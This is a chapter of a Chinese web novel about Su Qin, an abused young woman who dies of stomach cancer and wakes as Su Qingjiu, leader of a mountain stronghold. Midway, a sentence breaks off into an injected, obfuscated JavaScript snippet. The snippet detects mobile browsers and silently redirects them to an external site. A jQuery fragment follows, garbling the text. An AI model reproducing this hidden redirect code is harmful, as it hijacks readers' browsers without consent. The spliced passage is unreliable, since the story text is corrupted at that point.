伴随着医院病房里心电监护仪长长的滴声,苏秦在生命的最后一刻,带着深深地叹息,对这世间的眷恋、遗憾和解脱,想着:若有下一世,定要潇潇洒洒、随心自由。
*
“呜呜……大当家,这可咋办,呜呜……大当家你醒醒,呜呜…”
“大当家开始吞咽了!李大洪,你再哭就给我滚出去!”
“陈留良你这个没良心的,大当家要是……等等!你说啥!大当家喝下去药了?!”
“我和你多说就是废话!快去再请黄大夫。”
“好好好,好好好,等我,呜呜呜……黄大夫快来,大当家喝药了!呜呜……”李大洪一路跑着一路喊着,又一路泪崩着,只喊的在屋外焦急等待的,在角落暗自神伤的,亦或那已经在屋子里收拾行囊准备各奔东西的众人纷纷向云鹿山大当家住所聚集,心中那如同残烛般的本已快熄灭的希望再次燃起。
黄淮波正在屋内翻阅医药典籍,看还有什么办法可以起死回生,就听到李大洪的喊声,他的住所本就离大当家屋子很近,不等李大洪哭喊到门前,已拿着医药箱急行而出。
云鹿山寨大当家卧房内。
陈留良和徐家婶子围在大当家床边,见大当家逐渐有进气了,赶紧把药碗里的药喂下去。
陈留良的手一直在抖,勺子舀出来的药能洒出来一半,药进嘴后再从嘴角流下一些,眼见着一勺药喝下去的都没有三分之一,徐家婶子再看不下去,抢过药碗,一把推开陈留良:“出息!你也不比大洪子强多少,我来!”
一名须发皆白的老者坐在堂屋正中的太师椅上,他双手交叠放在身前,眉宇间满是悲戚,不时望向通往二楼卧房的楼梯处。
黄淮波进屋后向老者作揖道:“冯老。”
冯冠清焦急的摆手道:“黄先生不必多礼,快去看看酒儿吧”
不再多言,黄淮波急急向楼上行去,身后跟着哭的脸红脖子粗的李大洪。
*
苏秦感到自己很轻很轻,她飘啊飘,飘啊飘,意识一直是混沌着,只觉周围云雾缭绕,看不真切。
忽然,耳边有了声音,好像有人在哭。
苏秦自嘲的想,原来还是会有人哭她的,可是这哭声是真心流露?还是逢场作戏?她的父母会哭么?如果会,那是为了她苏秦哭?还是为了他们自己哭呢?
不过也不重要了。
苏秦是胃癌晚期离世的,她在检查出胃癌的时候就已经是晚期了,前两年她曾见过身边的亲戚在检查出胃癌后,积极化疗医治,却仍然不过半年就去世了,还花费了很多钱,所以苏秦没有选择治疗。
这一世已这般辛苦了。
苏秦的父母是上世纪90年代被下岗的千万工人之一,下岗后二人开起了服装店,很辛苦也很累,尤其是有曾经在工厂的安逸生活做对比,所以他们对苏秦的最大期望就是能够成为一名旱涝保收的为人民服务者。
因为要经常去外地进货,还要看店,苏秦很小的时候是和姥姥姥爷一起生活的,6岁上幼儿园才被接回父母身边,可是一切噩梦也是从6岁开始。苏秦常常想,都说这世间唯有做父母是不需要考证的,如果她的父母不是她的父母就好了,如果她能和姥姥姥爷一直生活在一起就好了。
苏秦的父母很少管她,好像只要吃饱穿暖就尽了做父母的义务。
因为没有安全感,所以苏秦从不会主动向他人寻求帮助,所以苏秦还成为了最好的霸凌对象,直到高中。
苏秦的父亲经常打她,在她顶嘴时,在他们认为的她“不听话”时,在她反抗时,直至苏秦28岁被查出胃癌晚期的这年,他依旧会在不满苏秦的态度时对她施以暴力。
苏秦的母亲是一个懦弱冷漠麻木的女子,她会在苏秦挨打时冷眼傍观,她会在苏秦哭诉时说:谁家小孩不挨打,你要理解你父亲,他对你是恨铁不成钢。可是苏秦一直都是别人口中的好孩子。可是苏秦已经不是小孩子了。
苏秦渐渐的失望了,她不想考试,她也考不上。她的人生好像自从22岁大学毕业后就被按了暂停键,不断的重复复习备考,笔试、落榜、亦或偶尔进面试但依旧落榜,然后不断的承受着父母的PUA,别人都能考上为什么你考不上?你还是不够努力,你能力不行。曾经苏秦一度相信了。可是把别人的梦想当做自己的目标,这样的内驱力注定无法行至彼岸。
直到苏秦被查出胃癌晚期的那天,苏秦拿着医院的报告单,恍惚的走出医院大楼,在夏日的阳光下,她幡然醒悟。
苏秦不怪任何人,怪谁呢?这条路是谁逼着自己做最开始的选择了么?好像没有。她只恨,就要浑浑噩噩的过完这短暂的一生了。
苏秦想,如果当初父母劝她时,她可以坚定一些,不那么想看到父母如愿时脸上的轻松笑颜,她是不是至少可以去为自己的梦想奋斗一下,至少可以不留遗憾。
苏秦想,她不去治病,至少还能为家里留一些钱,虽然他们之间有很深很深的裂痕,可是毕竟也养了她一场,没有缺衣少穿,也把她供到了大学。这注定治不好的病,又何苦要白费金钱、拖累家人,不过也是延缓结局罢了,不如就让一切早早结束。
以及,她心里的那么一点隐晦的不能为外人道的想要报复的私心。
苏秦把一切都瞒了下来,直到体重极速下降,最终病痛难支,昏倒在家。家人把她送到医院,才知晓一切,但也已经回天乏术,医生宣告了她的死期不过两周。
苏秦其实不想死,她还没有好好体会过这人世间,没有好好爱过自己,说来好笑,她都没有谈过恋爱。
苏秦喜欢在烈阳下走在阴凉的角落里;喜欢在下雨天不打伞让雨水把自己浇透,再回家洗个热水澡,躺进干燥温暖的被窝惬意的听着外面的雨水落在地面、落在树叶、打在窗户玻璃上的声音,然后昏昏欲睡;喜欢独自漫无边际的走在城市的小路,观察每一个经过的行人,每一家路过的店铺;喜欢猫猫狗狗大熊猫;喜欢去电影院看电影;喜欢看各种小说。苏秦爱这世间
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15929029|177175||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一切的美好。
可是,都结束了。
“姑娘。”苏秦恍惚间听到有人在说话,声音爽快又明朗。
苏秦四下寻找,远远的好像看到一个红衣女子,苏秦向前疾行几步,可是那人影也似乎向后退了数步,她怎么也无法靠近那人影。
苏秦急得想哭:“你是谁?”
“我是苏倾酒,”那人影越发模糊,只听她欢快的说:“我的寨子就交给你啦!希望你会给它一个不一样的结局。”
“寨子?什么寨子?”苏秦心下茫然。
“哦,对了,还有老冯,你帮我看着他,他年纪大了,还爱吃酒,总也说不听,”这次的声音听起来不再像前面那么明媚,带上些许淡淡的不舍和悲伤:“就麻烦你多上上心了。如果他难过的话,你就多给他找点事情做,分分他的心,老冯这人想的开。”
“老冯又是谁?”
“我要走啦,后会难期,江湖不见了!愿姑娘今世得偿所愿!”红衣身影很快便向远处飘去,直到不见人影。
苏秦困在原地,她无法再向前,却也后退不得,她有些委屈,死后的世界怎么是这样?不是都说灵魂离体后就会投胎转世么?她怎么反而被困在这里,她还要好好选一下自己的下一世要怎么过活呢,她要她的下一世可以潇洒快活,随心自由。
苏秦正急的扭动身体,想要挣脱束缚,忽觉脚下一股强大的拉力,把她拽向下面。
呀呀呀,这不是要下地狱吧,苏秦惊吓中一边坠落一边瞎想着。
嘶!痛!
苏秦刚觉得自己坠到底了,人还懵着,就感觉自己脚底像被什么扎了一下,瞬间脑目清明。
“醒了!醒了!”有人声在耳边传来。
砸吧砸吧嘴,口中还有苦涩的药味儿。
苏秦看到眼前站着两个年轻的穿褐色短打的男人,一个中年穿儒衫的男人,一个妇人打扮的婆子,几人均是满面惊喜,那胖一点的身着褐色短打的男子脸上还挂着泪,两个眼睛红肿的像被马蜂蛰了,穿儒衫的男子手上还拿着两根银针。而自己则躺在一个古色古香的架子床上,周围也是木制的家具,屋内陈设虽简朴但胜在干净整洁,能看出主人不拘小节中的个人追求。
“酒儿!”一个苍老但中气浑厚的声音传来,眼前的几人纷纷后退让出空间。
“冯老,大当家醒了。”儒衫男子恭敬的说道。
冯老?!
苏秦定睛看向和那红衣女子专门嘱咐过的人的姓氏对上的来人,是一个鹤发银髯的老者,那胡子显是平时打理的很勤快,修剪的整整齐齐,平添几分沉稳和威严。
等等!
大当家?!
苏秦正观察着,突然想到刚刚那儒衫男子对自己的称呼。好像那红衣女子有提到过,寨子?
大当家,寨子,苏倾酒。
这三个连到一起怎么这么熟悉!
灵光乍现,苏秦脑子里噼里啪啦一阵火花闪电,这好像她前不久看过的一篇小说!